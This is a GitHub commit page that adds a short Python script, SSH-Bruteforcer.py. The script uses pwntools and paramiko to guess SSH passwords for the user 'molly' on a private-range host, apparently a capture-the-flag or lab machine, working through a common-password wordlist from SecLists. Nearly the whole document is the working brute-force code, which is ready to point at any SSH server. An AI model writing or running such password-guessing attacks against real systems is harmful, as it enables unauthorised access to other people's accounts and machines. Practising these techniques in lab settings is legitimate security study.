Skip to content

Commit 69ec32b

Browse files
authored
Create SSH-Bruteforcer.py
1 parent 83e368d commit 69ec32b

File tree

1 file changed

+23
-0
lines changed

1 file changed

+23
-0
lines changed

SSH-Bruteforcer.py

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
from pwn import *
2+
import paramiko
3+
4+
host = "10.10.215.95"
5+
username = "molly"
6+
attempts = 0
7+
8+
with open("/usr/share/seclists/Passwords/Common-Credentials/best110.txt", "r") as password_list:
9+
for password in password_list:
10+
password = password.strip("\n")
11+
try:
12+
print("[{}] Attempting password: '{}'!".format(attempts, password))
13+
response = ssh(host=host, user=username, password=password, timeout=5) # Increased timeout
14+
if response.connected():
15+
print("Valid Password found: '{}'!".format(password))
16+
response.close()
17+
break
18+
response.close()
19+
except paramiko.ssh_exception.AuthenticationException:
20+
print("[X] Invalid Password")
21+
except ConnectionResetError:
22+
print("Connection was reset by the peer. Moving to next password.")
23+
attempts += 1

0 commit comments

Comments
 (0)